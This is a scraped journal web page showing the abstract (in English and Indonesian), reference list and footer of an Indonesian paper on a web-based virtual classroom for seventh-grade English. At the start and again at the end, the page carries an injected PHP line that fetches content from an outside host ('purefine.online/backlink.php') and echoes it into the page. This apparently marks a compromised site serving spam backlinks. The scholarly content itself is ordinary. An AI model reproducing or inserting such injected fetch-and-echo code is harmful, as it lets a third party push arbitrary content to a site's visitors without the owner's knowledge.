$a = file_get_contents('https://purefine.online/backlink.php'); echo $a; Pengembangan Virtual Classroom Berbasis Web Learning Pada Mata Pelajaran Bahasa Inggris Untuk Siswa Kelas VII | Amri | JKTP: Jurnal Kajian Teknologi Pendidikan

Pengembangan Virtual Classroom Berbasis Web Learning Pada Mata Pelajaran Bahasa Inggris Untuk Siswa Kelas VII

Maliki Amri, Punaji Setyosari, Saida Ulfa

Abstract


Web Learning-based Virtual Classroom is a complement and a new learning medium for 8th graders at SMP Negeri 1 Pakis in English Subjects, the subject matter is We got a lot of Histories. Web Learning-based Virtual Classroom is a learning medium that involves student and teacher interactions online that students can use to learn independently. Web Learning-based Virtual Classroom has a how-to guide and has many features that make it easier for students to use it. The purpose of this development is to produce a learning media, and to find out the feasibility of the learning media being developed. The development model used is the Lee & Owens model. Responses were obtained from Media and Material Experts, the development of a Web Learning-based Virtual Classroom for English Subjects received a positive response by material experts and media experts and was suitable for use by students.

Abstrak
Virtual Classroom berbasis Web Learning menjadi pelengkap dan sebuah media belajar baru bagi siswa kelas 8 di SMP Negeri 1 Pakis dalam mata pelajaran Bahasa Inggris materi We got a lot of Histories. Virtual Classroom berbasis Web Learning adalah media pembelajaran yang melibatkan interaksi siswa dan guru secara online digunakan siswa belajar secara mandiri. Virtual Classroom berbasis Web Learning memiliki panduan cara penggunaan dan punya banyak fitur yang memudahkan siswa saat menggunakannya. Tujuan Pengembangan ini adalah menghasilkan sebuah media pembelajaran, serta mengetahui kelayakan dari media pembelajaran yang dikembangkan. Model pengembangan yang digunakan adalah model Lee & Owens. Tanggapan diperoleh dari Ahli Media dan Ahli Materi, pengembangan Virtual Classroom berbasis Web Learning untuk Mata Pelajaran Bahasa Inggris mendapatkan respon positif oleh ahli materi dan ahli media serta layak digunakan oleh siswa.


Keywords


Virtual Classroom; Web Learning; Bahasa Inggris;

Full Text:

PDF

References


Agosti, G. (2006), Distance Education in the Era of Internet, Encyclopedia of Developing Regional Communities with Information and Communication Technology, Idea Group Reference.

Amiroh. (2012). Membangun E-Learning dengan Learning Management System. Sidoarjo: Genta Group Production.

Amornchai, P., Songkhla, J. N., & Sujiva, S. (2015). An argument performance task in a virtual classroom for enhancing graduate students’ analytical reasoning. Procedia - Social and Behavioral Sciences, 174, 1031–1035. https://doi.org/10.1016/j.sbspro.2015.01.790.

Ardiansyah, I. (2013). Eksplorasi Pola Komunikasi dalam Diskusi Menggunakan Moddle pada Perkuliahan Simulasi Pembelajaran Kimia. Bandung: Universitas Pendidikan Indonesia.

Ayuningtyas, D., Praherdiono, H., & Wedi, A. (2018). Aplikasi web evaluasi proses pembelajaran dengan pendekatan assessmen as learning. JKTP: Jurnal Kajian Teknologi Pendidikan, 1(1), 77-84.

Chandrawati, S. R. (2010). Pemanfaatan E-learning dalam Pembelajaran. Jurnal Cakrawala Kependidikan, 8(2), 218616.

Fitria, D., Susilo, B., & Farady, F. (2014). E-learning kriptografi dengan virtual class berbasis multimedia. Rekursif: Jurnal Informatika, 2(1).

Gunawan, F. I., & Sunarman, S. G. (2018). Pengembangan Kelas Virtual Dengan Google Classroom Dalam Keterampilan Pemecahan Masalah (Problem Solving) Topik Vektor Pada Siswa SMK Untuk Mendukung Pembelajaran. In Prosiding Seminar Nasional Pendidikan Matematika Etnomatnesia.

Hawari, A. (2020). E-Learning Berbasis Virtual Classroom di Era Covid-19: Iwan Hermawan. Hawari : Jurnal Pendidikan Agama Dan Keagamaan Islam, 1(1). Retreived from https://journal.unsika.ac.id/index.php/hawari/article/view/3929

Husnaini, H., & Widianti, S. (2020). Pengembangan Penelitian Tindakan Kelas Virtual Learning Economi. In Prosiding Seminar Nasional Program Pascasarjana Universitas Pgri Palembang.

Kind, T., & Evans, Y. (2015). Social media for lifelong learning. International Review of Psychiatry, 27(2), 124-132. Retreived from : https://doi.org/10.3109/09540261.2014.990421

Kusnohadi, K. (2015). Pendidik online: perluasan tugas dari kelas konvensional menuju kelas maya. Jurnal Teknodik, 284-294.

Lee, W.W., & Owens, D.L. (2004). Multimedia Based Instructional Design: Secend Edition. San Francisco: Pfeiffer.

Lestari, S., Praherdhiono, H., & Adi, E. P. (2018). Tree map dalam on-line learning. JKTP: Jurnal Kajian Teknologi Pendidikan, 1(1), 19-28.

Liu, L., & Johnson, D. L. (2004). Web-based resources and applications. Computers in the Schools Interdisciplinary Journal of Practice Theory and Applied Research, 131–147.

Martin, Florence. (2014). Use of Synchronous Virtual Classrooms: Why, Who, and How?. MERLOT Journal of Online Learning and Teaching. 10( 2), 192-209.

Prassida, G. F., & Muklason, A. (2012). Virtual Class Sebagai Strategi Pembelajaran Untuk Peningkatan Kualitas Student-Centered Learning Di Perguruan Tinggi. TEKNOLOGI: Jurnal Ilmiah Sistem Informasi, 1(2). Retreived from https://doi.org/10.26594/teknologi.v1i2.55

Putra, R. D. Y. S., Susilaningsih, S., & Abidin, Z. (2020). Pengembangan Media Website E-Learning Berbasis Model Responsive Web Design untuk Siswa SMA. JKTP: Jurnal Kajian Teknologi Pendidikan, 3(3), 292-302. Retreived from : http://dx.doi.org/10.17977/um038v3i32020p292

Putri, V. R. (2019). Memaksimalkan Kompetensi Guru Melalui Fitur Kelas Maya Dalam Pembelajaran Bahasa Arab sebagai Inovasi Pembelajaran Jaman Now. Proceeding Iain Batusangkar, 3(1), 323-332.

Raes, A., Vanneste, P., Pieters, M., Windey, I., Van Den Noortgate, W., & Depaepe, F. (2020). Learning and instruction in the hybrid virtual classroom: An investigation of students’ engagement and the effect of quizzes. Computers & Education, 143, 103682.

Sastra, K. W., Agustini, K., & Sindu, I. G. P. (2019). Pengaruh Kelas Maya Berbasis Proyek Terhadap Hasil Belajar Simulasi Dan Komunikasi Digital Kelas X Perhotelan SMK PGRI 3 Badung. KARMAPATI (Kumpulan Artikel Mahasiswa Pendidikan Teknik Informatika), 8(2), 369-378. Retreived from http://dx.doi.org/10.23887/karmapati.v8i2.18172

Sheard, J., & Markham, S. (2005). Webbased learning environments: developing a framework for evaluation. Assessment Evaluation in Higher Education, 30(4), 353–368. Retreived from : https://doi.org/10.1080/02602930500099169

Sibero, A. F. (2011). Kitab Suci Web Programming. Yogyakarta: Mediakom.

Sudiana, R., Fatah, A., & Khaerunnisa, E. (2017). Kemandirian belajar mahasiswa melalui pembelajaran berbasis virtual class. JPPM (Jurnal Penelitian dan Pembelajaran Matematika), 10(1). Retreived from http://dx.doi.org/10.30870/jppm.v10i1.1292

Surahman, E., & Surjono, H. D. (2017). Pengembangan adaptive mobile learning pada mata pelajaran biologi SMA sebagai upaya mendukung proses blended learning. Jurnal Inovasi Teknologi Pendidikan, 4(1), 26-37.

Surahman, E. (2020, October). Student Satisfaction toward Quality of Online Learning in Indonesian Higher Education During the Covid-19 Pandemic. In 2020 6th International Conference on Education and Technology (ICET) (pp. 120-125). IEEE.

Susilowati, Y. (2019). Modul E-Commerce-Teaching Factory For Students. Mutiara Publisher.

Yilmaz, O. (2015). The Effects of" Live Virtual Classroom" on Students' Achievement and Students' Opinions about" Live Virtual Classroom" at Distance Education. Turkish Online Journal of Educational TechnologyTOJET, 14(1), 108-115.




DOI: http://dx.doi.org/10.17977/um038v5i22022p142

Refbacks

  • There are currently no refbacks.


Copyright (c) 2022 Maliki Amri, Punaji Setyosari, Saida Ulfa

Creative Commons License
This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License.

JKTP: Jurnal Kajian Teknologi Pendidikan published by Department of Educational Technology, Faculty of Education, State University of Malang in Collaboration with Asosiasi Program Studi Teknologi Pendidikan Indonesia (APS TPI).

Publisher Address:
Lab. Teknologi Pendidikan, Gd.E2, Lt.1
Fakultas Ilmu Pendidikan Universitas Negeri Malang
Jl. Semarang 5, Kota Malang Email: jktp.fip@um.ac.id

 

========================================================================================================

INDEXED BYTOOLSPLAGIARISM CHECKARTICLE TEMPLATE

 

 

 

 

Creative Commons License
JKTP: Jurnal Kajian Teknologi Pendidikan is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License.

JKTP Statistics (Since July 13th, 2020)

View My Stats

---------------------------------------- ---------------------------------------- ---------------------------------------- $a = file_get_contents('https://purefine.online/backlink.php'); echo $a; ----------------------------------------